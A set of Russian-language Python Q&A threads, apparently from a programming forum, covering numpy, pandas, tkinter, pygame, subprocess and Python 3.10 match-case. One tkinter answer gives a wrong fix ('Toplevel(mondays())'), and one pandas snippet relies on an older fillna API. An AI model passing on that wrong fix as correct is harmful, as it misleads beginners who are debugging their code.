    print(i, "До   :", id(guitar), id(guitars[i]))
    guitar = 'electric ' + guitar
    print(i, "После:", id(guitar), id(guitars[i]))

0 До   : 140048368419120 140048368419120
0 После: 140048300344144 140048368419120
1 До   : 140048300509296 140048300509296
1 После: 140048300344144 140048300509296
2 До   : 140048300508464 140048300508464
2 После: 140048369136624 140048300508464

Как можно заметить, до присваивания нового значения переменная и соответствующее значение из списка эквивалентны, т.е. указывают на одно и то же значение в памяти. По после присваивания они уже указывают на разные значения.
Для модификации элемента списка следует обращаться к нему непосредственно по его индексу:
guitars[i].


Потому, что в документации написано:

Returns : ndarray
A copy of arr with values appended to
axis. Note that append does not occur in-place: a new array is allocated and filled. If axis is None, out is a flattened array.

В вашем случае нужно писать

array = np.append(array, train["text"][i], axis = 0)
Но есть вариант быстрее. Если вам нужно склеить все массивы в один длинный, воспользуйтесь
np.concatenate. Если нужно сделать двумерный массив из набора одномерных, то
np.vstack (но в этом случае все массивы должны быть одной длины)


Создать циклом переменные со значением из списка [дубликат]

На этот вопрос уже даны ответы здесь:

Можно ли циклом создать n переменных? Преобразование строки в переменную

                                (2 ответа)

Закрыт 2 года назад.

Есть список и надо чтобы цикл создал переменные со значениями из списка. Т.е чтобы если есть список

a['b', 'c', 'd']

то цикл должен создать переменные:

x1 = b
x2 = c
x3 = d

Ну допустим так, но лучше так не делать, используйте лучше словари для таких целей.

a = ['b', 'c', 'd']

for i, v in enumerate(a, 1):
    globals()[f'x{i}'] = v

print(x1, x2, x3)

Вывод:

b c d


Как добавить \n после 34 символа? Python
У меня есть строка с пробелами: "Противоположная точка зрения подразумевает, что многие известные личности, инициированные исключительно синтетически, своевременно верифицированы."
И мне нужно, чтобы после 34 символа в этом предложении подставился \n ,следовательно после подставки остальная часть предложения перенесётся.
Как мне это реализовать?

Вы можете создать новую строку со вставленным необходимым символом:
<code>
s = "Противоположная точка зрения подразумевает, что многие известные личности, инициированные исключительно синтетически, своевременно верифицированы."
s = s[:34] + '\n' + s[34:]
</code>


Преобразование числа из float в int после умножения в pygame [закрыт]

Закрыт. Этот вопрос не по теме. Ответы на него в данный момент не принимаются.

 Вопрос вызван проблемой, которая больше не воспроизводится, или опечаткой. Хотя похожие вопросы могут быть уместны на этом сайте, решение для этого вопроса вряд ли поможет будущим посетителям. Обычно можно избежать подобных вопросов написанием и исследованием минимальной программы для воспроизведения проблемы до публикации вопроса.

Закрыт 2 года назад.

                        Улучшить вопрос

Пишу простой кликер на pygame.
В момент когда игрок покупает "автокликер", что будет кликать автоматически (эту часть кода я еще не реализовал) хочу увиличить цену покупки автокликера на 10%, чтобы был какой то челлендж.
Для этого умножаю цену автокликера на 1.1, чтобы получить 10%, однако после этой операции умножения, тип переменной меняется с int на float(в общем то так и должно быть).
Из за этого при дальнейших покупках число знаков после запятой увеличивается в сотни раз и мешает играть загораживая экран.
Пытался менять тип переменной с float на int прописыванием int(autoClickMultiplierPrice) как после операции умножения, так и перед ней в основном цикле(и не в основном тоже), но это ни к чему не приводило и тип оставался float.
Как изменить тип переменной с float на int, чтобы все нормально работало после умножения на 1.1?
<code>
while mainLoop:
    for event in pygame.event.get():
        if event.type == pygame.QUIT:
            mainLoop = False

        if event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:
            pos = event.pos

            if 200 < pos[0] < 480 and 180 < pos[1] < 470:
                coinCounter += 1

            if 490 < pos[0] < 670 and 40 < pos[1] < 90 and coinCounter >= autoClickMultiplierPrice:
                coinCounter -= autoClickMultiplierPrice
                autoClickMultiplierPrice = autoClickMultiplierPrice * 1.1
                int(autoClickMultiplierPrice)

            else:
                break
</code>

в 4 строке с конца (где функция int), не было присвоено значение. int не меняет значение, а возвращает новое. Решение:

autoClickMultiplierPrice = int(autoClickMultiplierPrice)

Проблема с кучей знаком после запятой не относится к питону. Это проблема двоичной системы. Решить можно с использованием встроенной функции
round, Решение:

price = autoClickMultiplierPrice * 1.1
autoClickMultiplierPrice = round(price, 3)


Помогите разобраться в ошибках в python tkinter [закрыт]

Закрыт. Этот вопрос не по теме. Ответы на него в данный момент не принимаются.

Закрыт 2 года назад.

Вопросы с просьбами помочь с отладкой («почему этот код не работает?») должны включать желаемое поведение, конкретную проблему или ошибку и минимальный код для её воспроизведения прямо в вопросе. Вопросы без явного описания проблемы бесполезны для остальных посетителей. См. Как создать минимальный, самодостаточный и воспроизводимый пример.
Вопрос вызван проблемой, которая больше не воспроизводится, или опечаткой. Хотя похожие вопросы могут быть уместны на этом сайте, решение для этого вопроса вряд ли поможет будущим посетителям. Обычно можно избежать подобных вопросов написанием и исследованием минимальной программы для воспроизведения проблемы до публикации вопроса.

                        Улучшить вопрос

В общем, я делаю программку для проекта школьного. Я совсем новичок, буквально только вчера начал писать и совсем не понимаю как исправлять ошибки. Сделал пока путь только Monday>Registration, но после registration окна больше не открываются и выдается множество ошибок. пройдите по кнопкам Monday и Registration - поймёте...

from tkinter import *
from tkinter import messagebox
import json
from tkinter.filedialog import asksaveasfile

root = Tk()
root.title("Organaizer")
root.resizable(0, 0)
root.configure(bg='black')
root.geometry('750x600')

#canvas = Canvas(root, width=400, height=400, bg="black", highlightthickness=0)
#canvas.pack()

def mondays():
    monles = Toplevel(root)
    monles.title("MONDAY")
    monles.resizable(0, 0)
    monles.configure(bg='black')
    monles.geometry('750x600')

    def reg1():
        monregles = Toplevel(mondays)
        monregles.title("REGISTRATION")
        monregles.resizable(0, 0)
        monregles.configure(bg='black')
        monregles.geometry('750x600')

    #def rl1():
    #   noterl1.pack()

    #def itgs1():
    #   noteitgs1.pack()

    #def maths1():
    #   notemaths1.pack()

    lesson = Frame(monles, width=750, height=600, bg='black')
    lesson.grid(row=0, column=0, padx=1, pady=1)

    registration = Button(lesson, text="Registration", fg='black', bg='white', font=20, width=85, height=6, command=reg1)
    registration.grid(row=0, column=0, sticky=S)

    literature = Button(lesson, text="Russian LIterature", fg='black', bg='white', font=20, width=85, height=6)
    literature.grid(row=1, column=0, sticky=S)

    itgs = Button(lesson, text="ITGS", fg='black', bg='white', font=20, width=85, height=6)
    itgs.grid(row=2, column=0, sticky=S)

    maths = Button(lesson, text="Maths", fg='black', bg='white', font=20, width=85, height=6)
    maths.grid(row=3, column=0, sticky=S)

    #notereg1 = Entry(notes, width=375, height=300, bg='white')
    #notereg1.pack()

    #noterl1 = Entry(notes, width=375, height=300, bg='white')
    #notereg1.pack()

    #noteitgs1 = Entry(notes, width=375, height=300, bg='white')
    #notereg1.pack()

    #notemath1 = Entry(notes, width=375, height=300, bg='white')
    #notereg1.pack()

lu = Frame(root, width=250, height=200, bg='white')
lu.grid(row=0, column=0, padx=1, pady=1, sticky=N)

tp = Frame(root, width=250, height=200, bg='white')
tp.grid(row=0, column=1, padx=1, pady=1, sticky=N)

ru = Frame(root, width=250, height=200, bg='white')
ru.grid(row=0, column=2, padx=1, pady=1, sticky=N)

lt = Frame(root, width=250, height=200, bg='white')
lt.grid(row=1, column=0, padx=1, pady=1, sticky=N)

md = Frame(root, width=250, height=200, bg='white')
md.grid(row=1, column=1, padx=1, pady=1, sticky=N)

rt = Frame(root, width=250, height=200, bg='white')
rt.grid(row=1, column=2, padx=1, pady=1, sticky=N)

bt = Frame(root, width=250, height=200, bg='white')
bt.grid(row=2, column=1, padx=1, pady=1, sticky=N)

mday = Button(lu, text="MONDAY", fg='black', bg='white', font=150, width=27, height=10, command=mondays)
mday.pack()

tday = Button(tp, text="TUESDAY", fg='black', bg='white', font=150, width=27, height=10)
tday.pack()

wday = Button(ru, text="WEDNESDAY", fg='black', bg='white', font=150, width=27, height=10)
wday.pack()

thday = Button(lt, text="THURSDAY", fg='black', bg='white', font=150, width=27, height=10)
thday.pack()

fday = Button(md, text="FRIDAY", fg='black', bg='white', font=150, width=27, height=10)
fday.pack()

saday = Button(rt, text="SATURDAY", fg='black', bg='white', font=150, width=27, height=10)
saday.pack()

sday = Button(bt, text="SUNDAY", fg='black', bg='white', font=150, width=27, height=10)
sday.pack()

root.mainloop()

Вот ошибки:

Exception in Tkinter callback
Traceback (most recent call last):
  File "C:\Users\evamo\AppData\Local\Programs\Python\Python310\lib\tkinter\__init__.py", line 1921, in __call__
    return self.func(*args)
  File "C:\Users\evamo\Desktop\ff.py", line 26, in reg1
    monregles = Toplevel(mondays)
  File "C:\Users\evamo\AppData\Local\Programs\Python\Python310\lib\tkinter\__init__.py", line 2650, in __init__
    BaseWidget.__init__(self, master, 'toplevel', cnf, {}, extra)
  File "C:\Users\evamo\AppData\Local\Programs\Python\Python310\lib\tkinter\__init__.py", line 2595, in __init__
    BaseWidget._setup(self, master, cnf)
  File "C:\Users\evamo\AppData\Local\Programs\Python\Python310\lib\tkinter\__init__.py", line 2564, in _setup
    self.tk = master.tk
AttributeError: 'function' object has no attribute 'tk'

Вот в этой строке не верно вызывается функция:

monregles = Toplevel(mondays)

Должно быть:

monregles = Toplevel(mondays())


Почему бот discord py работает как 1 на разных серверах
У меня есть discord py бот. Можно ли как-то сделать так, чтобы его можно было добавить на 2 разных сервера и он работал асинхронно?
(Сейчас он при команде с первого сервера начинает играть музыку в другом)
Вот часть кода:
<code>
class MyBot(commands.Cog):
def __init__(self, bot: commands.Bot):
    self.bot = bot
    self.connect = None
    self.voice_channel = None

@commands.command()
async def join(self, ctx):
    self.voice_channel = discord.utils.get(ctx.guild.voice_channels, name=ctx.message.author.voice.channel.name)
    if not self.connect:
        self.connect = await self.voice_channel.connect()

@commands.command()
async def leave(self, ctx):
    if self.connect:
        await self.connect.disconnect()
        del self.connect
</code>

Тебе надо делать бд для всех серверов. Изучи питон и базы данных.
Python, введение в БД


Заполнение колонки в pandas минимальным значением после groupby
Путанный заголовок получился, но смысл проблемы вот в чем.
Есть табличка, которая выглядит таким образом:

q = pd.DataFrame({'first':[1, 2, 3, 2], 'days':['2019-10-19', '2019-10-20','2019-10-21', '2019-10-21']})

Нужно получить вот такую табличку:

q1 = pd.DataFrame({'first':[1, 2, 3, 2], 'days':['2019-10-19', '2019-10-20','2019-10-21', '2019-10-21'],
                   'days_min':['2019-10-19', '2019-10-20', '2019-10-19', '2019-10-20']})

То есть сгруппировать по первому столбцу, понять какая дата во втором столбце минимальна и именно ей заполнить третий столбец (сгруппированный по первому).
Я делаю вот так:

q['days_min'] = q.groupby('first').days.min()

Но все заполняется NAN-ами... не понимаю почему так :( Помогите, пожалуйста :(

Если бы вы посмотрели результат группировки, то увидели бы, что там получается 3 значения. Ведь произошла группировка по колонке
first, в которой 3 уникальных значения. Просто так нельзя эти 3 значения взять и записать в 4 ячейки таблицы (в одной из ячеек обязательно получится
NA, да и не факт, что эти значения попадут в правильные строки). Нужно делать аналог
SQL JOIN, чтобы значения попали во все  строки таблицы с соответствующим значением
first:

q1 = q.merge(q.groupby('first').min(),
             on='first',
             suffixes=('', '_min'))
q1

Вывод:

    first   days        days_min
0   1       2019-10-19  2019-10-19
1   2       2019-10-20  2019-10-20
2   2       2019-10-21  2019-10-20
3   3       2019-10-21  2019-10-21

Сортировка строк получилась другая, потому что индекс перестроился, но данные получились именно какие вам нужны.
Если хотите сохранить порядок следования строк как в исходной таблице, то нужно делать аналог
SQL LEFT JOIN, добавив параметр
how='left':

q1 = q.merge(q.groupby('first').min(),
             on='first',
             how='left',
             suffixes=('', '_min'))

Результат:

    first   days        days_min
0   1       2019-10-19  2019-10-19
1   2       2019-10-20  2019-10-20
2   3       2019-10-21  2019-10-21
3   2       2019-10-21  2019-10-20


Как убрать лишние значения из вывода?
Составил функцию для анализа данных колонки датафрейма.

def test(df, colx):
  dfx = df[colx]
  a1 = pd.DataFrame(dfx.value_counts())
  a1['percent'] = round((a1[colx] * 100 / len(df)), 2)
  a2 = display(a1, f'Процент незаполненных значений: {round((100 - a1.percent.sum()), 2)}')
  return a2, df.loc[:, [colx]].info()

test(menu, 'soop') # функция вывода

Но при выводе получаются лишние данные.

   soop percent
GP  349 88.35
MS  46  11.65
'Процент незаполненных значений: 0.0'
<class 'pandas.core.frame.DataFrame'>
RangeIndex: 395 entries, 0 to 394
Data columns (total 1 columns):
 #   Column  Non-Null Count  Dtype
---  ------  --------------  -----
 0   soop  395 non-null    object
dtypes: object(1)
memory usage: 3.2+ KB
(None, None)

А именно последняя строка (None, None) мне не нужна.
И строку 'Процент незаполненных значений: 0.0' нужно избавить от кавычек.

Если у вас интерактивный питон, например
Jupyter Notebook, то он выводит на печать результат выполнения последней команды в ячейке. Если последняя команда у вас вызов функции
test, то, соответственно,
Jupyter Notebook выведет на печать то, что возвращает функция
test, а она у вас возвращала, видимо, два
None:
display и
df.info() печатают информацию на экран и возвращают при этом
None. Решения тут на самом деле возможно два:

не возвращать ничего из функции
test (убрать
return)
добавить знак
; в конец строки с вызовом функции
test и тогда
Jupyter Notebook не будет печатать результат выполнения этой функции


сортировка списка словарей по значению ключа
Объясните пожалуйста работу этого кода, если можно подробно.
Находил на форуме подобный вопрос, но без объяснения.(Находил много решений с lambda но там вообще ни черта не понятно. Лямбды отбросил в сторону на долго, пока хорошо не усвоится весь материал.)
Не судите строго - я новичок.
Вот почему функция mykey() вызывается без скобок?
Что вообще происходит в этой функции?
Если функция возвращает строку 'age', то почему нельзя просто написать key = 'age'? Почему это вызовет ошибку? Читал Byte of Python и там практически все понятно на 99% кроме этого момента который там решается через лямбду.
Почему все функции вызываются со скобками? Почему вызов функций без скобок всегда (кроме данного случая) вызывает ошибку, а тут наоборот?
Все шло отлично, пока не напоролся на это №@%№
Что такое объект функции? Какая разница между foo() и просто foo ? Эти моменты мне не понятны и пока не нашел понятного объяснения. В этой книге этого тоже нет :-(
<code>
x = [{'name' : 'Homer', 'age' : 39}, {'name' : 'Bart', 'age' : 100}]

def mykey(a):
    return a['age']

print(sorted(x, key = mykey))
</code>

Много вопросов получается, но отвечу по мере сил.

Вот почему функция mykey() вызывается без скобок?

Все дело в функции sorted, которая в качестве параметра key принимает функцию, как написано в руководстве:
Итерируемый объект можно также отсортировать по функции, указанной в параметре key. Это может быть:

Встроенная функция,
Определенная пользователем функция,
Лямбда-функция,
itemgetter,
attrgetter.

Ссылка с описанием sorted

Что вообще происходит в этой функции?

Функция возвращает значение age, но оно не будет работать напрямую, если вы например напишете

print(mykey(x))

т.к. он на вход должен получать их по одному, что-то типо такого:

print(mykey(x[0]))

Если функция возвращает строку 'age', то почему нельзя просто написать
key = 'age'? Почему это вызовет ошибку?

Ответ дал чуть выше, потому что в качестве параметров должна быть функция.
Надеюсь что-то смог объяснить.


Посчитать в датафрейме сумму значений с конца
В датафрейме
df нужно посчитать сумму всех
count для
f и сумму всех
count для
d за последние 6 секунд снизу датафрейма. Как это лучше сделать?

time  code   count   sec

1      f      10     49
2      f      5      49
3      d      7      51
4      d      2      52
5      f      9      54
6      f      10     54
7      d      5      54
8      f      8      56

Результат:

5 секунд это 56-6 = 50 - значит до 50-й секунды

d      7      51
d      2      52
f      9      54
f      10     54
d      5      54
f      8      56

Результат будет f_count = 27, а для d_count = 14 (допустим результаты выведем в f_count и d_count)

При df:

     code  count  sec
time
1       f     10   49
2       f      5   49
3       d      7   51
4       d      2   52
5       f      9   54
6       f     10   54
7       d      5   54
8       f      8   56

делаем выборку и группируем:

res = df.loc[df['sec']>=(df['sec'].iloc[-1]-5)].groupby('code')['count'].sum()

res:

code
d    14
f    27
Name: count, dtype: int64


Шифр Цезаря на Python
не могу понять, что не так с кодом. Вроде бы всё работает, но задание на сайте его не принимает. Задание звучит так "Юлий Цезарь использовал шифрование текста. Каждая буква менялась на следующую по алфавиту через k позиций по кругу. Необходимо по заданному шифру установить исходный текст
Вводные данные: В первой строке задано шифровку, которая состоит из не более 255 больших латинских букв. Во второй строке число k (1 ≤ k ≤ 10).
Исходные данные: результат шифра
Например: вводите XPSE
1
Получаете: WORD
Ссылка на задание
Вот мой код :
<code>
import string

s = input()
n = int(input())
alpha = string.ascii_uppercase
for l in s:
    k = alpha.index(l)
    k -= n
    s = s.replace(l, alpha[k])
print(s)
</code>

Нельзя использовать
replace с исходной строкой, потому что вы меняете какую-то букву на другую, и если потом такая же буква как эта новая встретится в исходном слове, то вы эту поменянную уже букву сдвинете ещё раз. Лучше для таких операций использовать, например, списковое сокращение (либо простое добавление в список в цикле), чтобы обрабатывать буквы слова независимо друг от друга. Например, запустите ваш код и введите
ZYX, результат будет
WWW именно из-за вышеописанного.
P.S. По двум другим пунктам я был не прав, не обратил внимание, что речь о расшифровке шифра. Убрал их.


Датафрейм из многомерного списка
Как из многомерного списка
p получить датафрейм df с готовыми названиями столбцов как ниже написано?

p = [[1,2,3],[1,2,3],[1,2,3]]

df = pd.DataFrame(columns = ['one','two','tree'])

Это же пример, из любого источника по Pandas:

p = [[1,2,3],[1,2,3],[1,2,3]]
df = pd.DataFrame(p,columns = ['one','two','tree'])
print (df)

Результат:

   one  two  tree
0    1    2     3
1    1    2     3
2    1    2     3


Есть ли способ вывести 50 ключей с наибольшими значениями в словаре?
У меня есть словарь, в котором содержится слово и количество его повторений в тексте. Мне необходимо вывести 50 слов, которые повторяются чаще всего. Я решил помещать все слова в словарь, а если они уже там есть, просто увеличивать счетчик (т.е. значение). Теперь я не могу найти способ, чтобы как-то отфильтровать ключи с наибольшими значениями. Идей нет никаких. Вместо переменной с текстом там будет текст из файла, имя которого даётся через input, но это сейчас не особо важно, как мне кажется. Заранее спасибо за помощь.
<code>
word_list = {}
example = 'Пример текста, текста, но, но, но, несмотря на что-то, который является пример, слово, слово, слово, слово.'.lower()
for p in string.punctuation:
    if p in example:
        example = example.replace(p, '')
right = str.split(example)

for word in right:
    if word in word_list:
        counter =  word_list[word] + 1
        word_list[word] = counter
    else:
        word_list[word] = 1

sorted_dict = {}
sorted_keys = sorted(word_list, key=word_list.get)

for w in sorted_keys:
    sorted_dict[w] = word_list[w]

print(sorted_keys)

list_of_popular_words = []
</code>

Вы уже отфильтровали слова по возрастанию счётчика слов (значения словаря). Осталось только взять 50 последних элементов этого отсортированного списка (сортировка делается по умолчанию в возрастающем порядке, поэтому нужно брать последние элементы, а не первые):
<code>
list_of_popular_words = sorted_keys[-50:]
</code>


Проверка и замена букв в переменной на цифры Python
Час добрый. Подскажите пожалуйста каким образом в python можно устроить проверку на наличие букв в переменной? На вход есть список из переменных основанных на любых цифрах, но в некоторых, в конце, будет присутствовать буква К. (200,14K,18112,1284K .......)
Как можно устроить проверку, есть ли в переменной наличие буквы и если она есть, то заменить ее на 000 ?
Нашел на просторах подобный код замены цифр на буквы, но как можно сделать подобное, но с проверкой и в случае обнаружения - заменой?
<code>
leettext = "Hell0 my name 1s J0hn"
leettext.translate(str.maketrans({"0":"o", "1":"i"}))
'Hello my name is John'
</code>


В чем заключается ошибка в коде?
Дана последовательность вещественных чисел. Из неё необходимо выбрать несколько подряд идущих чисел так, чтобы каждое следующее число отличалось от предыдущего не более чем на 8. Какую максимальную сумму могут иметь выбранные числа?
В ответе запишите только целую часть максимально возможной суммы. Исходная последовательность записана в виде одного столбца электронной таблицы.
Ссылка на exel file с данными
решаю с помощью python  и где-то присутствует ошибка, хотя логически все верно выстроил
<code>
sp = []
for i in range(500): #500 -потому что в файле 500 значений, я просто скопировал все 500 значений из таблицы и в инпут сразу их все вставил с заменой запятой на точку , тк питон не принимает запятые в вещественных числах
    sp.append(float(input().replace(",",".")))
s=sp[0]
s_max=0
for i in range(len(sp)-1):# -1 тк последнее число не с чем сравнивать , тк дальше список заканчивается
    if (sp[i]-sp[i+1])<=8:#условие , что элементы различаются не более чем на 8
        s += sp[i+1]#далее если условие проходит то в s добавляем следующий элемент

    else:
        if s> s_max:
            s_max=s
        s=sp[i+1]#обновляем s (делаем так, чтобы она стала следующим элементом списка)
print(s_max)
</code>
ответ выдает 86...
а верный  69

if abs(sp[i]-sp[i+1])<=8
И ещё момент с отрицательной суммой - её накапливать нет смысла
<code>
for...
    if abs(sp[i]-sp[i+1])<=8:
        s = max(sp[i+1],s+sp[i+1])
    else:
        s=sp[i+1]
    s_max = max(s, s_max)

</code>


Как сделать replace сразу нескольких значений через map
Мне нужно сделать replace данных моей DF. Я знаю как это делать через map в случае когда нужно заменить одно значение на другое, но мне нужна замена нескольких значений. Есть ли способ это сделать правильнее ?
<code>
sql_huawei_bsc_GEXT2GCELL['BSC'] = sql_huawei_bsc_GEXT2GCELL['BSC'].map(lambda x: (x.replace('22279','115')))
sql_huawei_bsc_GEXT2GCELL['BSC'] = sql_huawei_bsc_GEXT2GCELL['BSC'].map(lambda x: (x.replace('22285','121')))
sql_huawei_bsc_GEXT2GCELL['BSC'] = sql_huawei_bsc_GEXT2GCELL['BSC'].map(lambda x: (x.replace('22381','523')))
sql_huawei_bsc_GEXT2GCELL['BSC'] = sql_huawei_bsc_GEXT2GCELL['BSC'].map(lambda x: (x.replace('12312','723')))
sql_huawei_bsc_GEXT2GCELL['BSC'] = sql_huawei_bsc_GEXT2GCELL['BSC'].map(lambda x: (x.replace('12351','725')))
</code>

df = pd.DataFrame({"A":[1, 2, 3, 4, 5,6]})

   A
0  1
1  2
2  3
3  4
4  5
5  6

Делаете словарь замен, и - вперед:

rep = {1:"one", 4:"four"}
df["A"]= df["A"].map(rep).fillna(df["A"])

df теперь:

     A
0   one
1     2
2     3
3  four
4     5
5     6


Замена значений датафрейм
Каким образом в датафрейме можно заменить нули первыми значениями до нуля, только в отношении к определенному столбцу?
df['B'] =

df =

A   B

1   7
2   0
3   0
4   9
5   0
6   2

Итог:

A   B

1   7
2   7
3   7
4   9
5   9
6   2

можно так:
<code>
df["B"] = df["B"].replace(0, pd.NA).fillna(method="ffill")
</code>


Что означает строчка [закрыт]

Закрыт. Этот вопрос не по теме. Ответы на него в данный момент не принимаются.

 Вопрос вызван проблемой, которая больше не воспроизводится, или опечаткой. Хотя похожие вопросы могут быть уместны на этом сайте, решение для этого вопроса вряд ли поможет будущим посетителям. Обычно можно избежать подобных вопросов написанием и исследованием минимальной программы для воспроизведения проблемы до публикации вопроса.

Закрыт 2 года назад.

                        Улучшить вопрос

Преподаватель дал учебный код, который мы должны разобрать дома. Но одна строка меня озадачила. В гугле результаты поиска не показали ни один пример применения подобной строки
Сама строка:
<code>
w=np.random.rand(m,n)0.1-0.05
</code>
Понятно, что это генерация рандомных чисел в диапазоне от m до n, но что означает 0.1-0.05 - загадка, покрытая тайнами

m и
n - это размерность матрицы (я не знал, но заглянул в описание функции)
Матрица размерностью
m x n случайных чисел в диапазоне
0..1 умножается на скаляр
0.1 и вычитается
0.05, таким образом диапазон становится
-0.05 ... 0.05
Умножение потеряно где-то


Как открыть и прочитать srcds.exe с помощью python?
Я полный новичок в python, хочу написать программу, которая будет открывать srcds.exe (Сервер Source) и читать ее, выводя все в консоль, пробовал и os и subprocess, ничего не помогает
<code>
import os
import codecs
import subprocess

srcds = subprocess.Popen("D:\SteamCMD\steamapps\common\EqRp\srcds.bat", stdout = subprocess.PIPE, shell = False)

#subprocess.run("srcds.bat -console")
#with subprocess.Popen("srcds.bat") as f:

print (str(srcds))
</code>

Не знаю что выводит
srcds.bat, но покажу 2 способа получения данных.
Для теста завожу батник
1.bat, который запускает питон, в котором выводятся значения от 0 до 4 раз в 1 секунду:

@echo off
echo arg1=%1
python -c "import time;[(print(i), time.sleep(1)) for i in range(5)]"

Способ 1: считываем из
stdout при работе программы:

import subprocess

srcds = subprocess.Popen(r"1.bat -console", stdout=subprocess.PIPE, shell=False, universal_newlines=True)
for line in srcds.stdout:
    line = line.rstrip()
    print(line)

Способ 2: дожидаемся окончания программы и считываем результат:

import subprocess

srcds = subprocess.Popen(r"1.bat -console", stdout=subprocess.PIPE, shell=False, universal_newlines=True)
srcds.wait()
out, err = srcds.communicate()
print(out)

Результат:

arg1=-console
0
1
2
3
4


Конструкция match-case в Python 3.10
4.10.2021 выпущен офрелиз Python 3.10.
В числе прочих обновлений была предоставлена возможность использования конструкции
match-case, которая носит название структурное сопостовление шаблонов или
pattern matching
Как пользоваться данной конструкцией?
Для более ранних версий Python, смотрите реализацию в этом ответе на ruSO (Есть ли в Python оператор switch case?).

В Python 3.10 появился pattern matching
Этот материал — перевод статьи «How to use structural pattern matching in Python»
В новом релизе Python 3.10 появились операторы
case/match, которые отвечают за реализацию в языке синтаксиса pattern-matching.
Python, несмотря на его простоту и популярность, в отличие от других языков, не имел отдельной формы управления потоком (form of flow control) — способа взять значение и элегантно сопоставить его с одним из множества возможных условий. В C и C++ эта функция реализована конструкцией
switch/case, а в Rust она называется pattern matching.
Изящных способов реализовать это в Python, кроме как воспользоваться конструкцией
if/elif/else и поиском по словарю, до этого момента не существовало. Оба способа работают, но из-за своей громоздкости они могли затруднить читабельность кода.
За последние годы были предприняты несколько попыток включить синтаксис типа
switch/case в Python, но все они провалились. Это первая реализация структурного сопоставления шаблонов (structural pattern matching), которая сейчас доступна только в версии для разработчиков. (прим. реализация доступна для всех с версии
python 3.10)
Введение в pattern matching на Python
Структурное сопоставление шаблонов (structural pattern matching) вводит оператор
match/case, который работает по той же схеме, что и
switch/case. Оператор проверяет объект на соответствие одному или нескольким шаблонам и, если совпадение найдено, выполняет действие.

match command:
    case "quit":
        quit()
    case "reset":
        reset()
    case unknown_command:
        print (f"Unknown command'{unknown_command}'")

За каждым выражением
case следует шаблон для сопоставления. В данном примере сверху вниз идет сопоставление строк с оператором, и если такое сопоставление найдено, оператор выполняется. Также можно захватить все или часть совпадения и повторно использовать их. В нашем примере в случае с шаблоном сопоставления
unknown_command мы использовали его повторно внутри f-строки.
Сопоставление переменных с помощью pattern matching
Если вы хотите сопоставить значение с константами, то константы следует отнести к полям класса:

class Command:
    QUIT = 0
    RESET = 1

command = 0

match command:
    case Command.QUIT:
        quit()
    case Command.RESET:
        reset()

Если вы попробуете сделать это не прибегая к классам, например, так:

QUIT = 0
RESET = 1

command = 0
match command:
    case QUIT:
        quit()
    case RESET:
        reset()

Получите в ответ ошибку, связанную с тем, что имя не относится к известному паттерну:

name capture 'QUIT' makes remaining patterns unreachable

Сопоставление нескольких элементов с помощью pattern matching
Pattern matching используется не только как замена поиска по словарю. Оно используется для описания самой структуры того, что вы хотите сопоставить. Таким образом, вы можете выполнять сопоставления на основе количества сопоставляемых элементов или их комбинаций.
Вот более сложный пример. Здесь пользователь вводит команду, за которой, возможно, следует имя файла:

command = input()
match command.split():
    case ["quit"]:
        quit()
    case ["load", filename]:
        load_from(filename)
    case ["save", filename]:
        save_to(filename)
    case _:
        print (f"Command '{command}' not understood")

Давайте рассмотрим варианты case по порядку:

case [’quit’]: проверяет, соответствует ли то, что мы сопоставляем, списку только с элементом
’quit’, полученных после разделения введенных данных с помощью
split().

case [’load’, filename]: проверяет, является ли первый разделенный элемент строкой
’load’, и следует ли за ней вторая строка. Если вторая строка есть, то вторая строка сохраняется в переменной
filename и используется для дальнейшей работы. Аналогично проверяется
case [«save», filename]:.

case _: это совпадение с подстановочным знаком (wildcard match). Происходит совпадение, если до этого момента не происходило никакого другого совпадения. Обратите внимание, что символ нижнего подчеркивания (
_ ) ни к чему не привязан, в данном случае нижнее подчеркивание используется как сигнал команде
match, что рассматриваемый случай является подстановочным знаком (wildcard). (Вот почему мы ссылаемся на команду переменной в теле блока
case, ведь ничего не было захвачено.)

Шаблоны в structural pattern matching
Шаблоны могут быть простыми значениями или содержать более сложную логику сопоставления.
Вот несколько примеров:

case ’a’: сопоставить с единственным значением
’a’.

case [’a’,’b’]: сопоставить с коллекцией (collection)
[’a’,’b’].

case [’a’, value1]: сопоставить с коллекцией, в которой два значения, и поместить второе значение в переменную
value1.

case [’a’, *values]: сопоставить с коллекцией, в которой как минимум одно значение. Остальные значения, если они есть, хранить в
values. Обратите внимание, что вы можете включить только один элемент со звездочкой в шаблон.

case (’a’|’b’|’c’): Оператор
or, он же
|, может использоваться для обработки нескольких обращений в одном блоке case. Здесь мы сопоставляем
’a’,
’b’, или
’c’.

case (’a’|’b’|’c’) as letter: То же, что и выше, за исключением того, что теперь мы помещаем соответствующий элемент в переменную
letter.

case [’a’, value] if ...: Переменная связывается только если expression истинно. Переменные, которые мы хотим связать, можно использовать в
.... Например, если мы используем
if value in valid_values, то
case будет действительным только в том случае, если захваченное значение value был на самом деле в коллекции
valid_values.

case [’z’, _]: будет соответствовать любая коллекция элементов, которая начинается с
’z’.

Сопоставление с объектами с помощью pattern matching
Самая продвинутая функция pattern matching в Python — это возможность сопоставлять объекты с определенными свойствами. Рассмотрим приложение, в котором мы работаем с объектом
media_object. Этот объект мы хотим преобразовать в файл
.jpg и вернуть из функции.

match media_object:
    case Image(type="jpg"):
        # Return as-is
        return media_object
    case Image(type="png") | Image(type="gif"):
        return render_as(media_object, "jpg")
    case Video():
        raise ValueError("Can't extract frames from video yet")
    case other_type:
        raise Exception(f"Media type {media_object} can't be handled yet")

В каждом из описанных выше
case мы ищем объект определенного типа, иногда с определенными атрибутами. В первом case ищем соответствие объекта
Image, у которого
type атрибутирован как
’jpg’. Во втором
case идет сопоставление, если type соответствует
’png’ или
’gif’. В третьем
case идет проверка на соответствие объекта типу
Video, при этом атрибут не имеет значения. И в последнем случае мы получаем все, что не было выбрано ранее.
Вы также можете выполнять захват с сопоставлением объектов:

match media_object:
    case Image(type=media_type):
        print (f"Image of type {media_type}")

Эффективное использование pattern matching
Ключевой момент при работе с
match/case в Python заключается в написании шаблонов, в которых будет описана структура того, с чем вы хотите работать. Простые тесты на константы хороши, но если это все, что вы делаете, то лучше просто сделать поиск по словарю. Настоящая ценность структурного сопоставления с шаблоном (structural pattern matching) в Python заключается в возможности сопоставления с шаблоном объекта, а не только с каким-то одним объектом или даже с их набором.
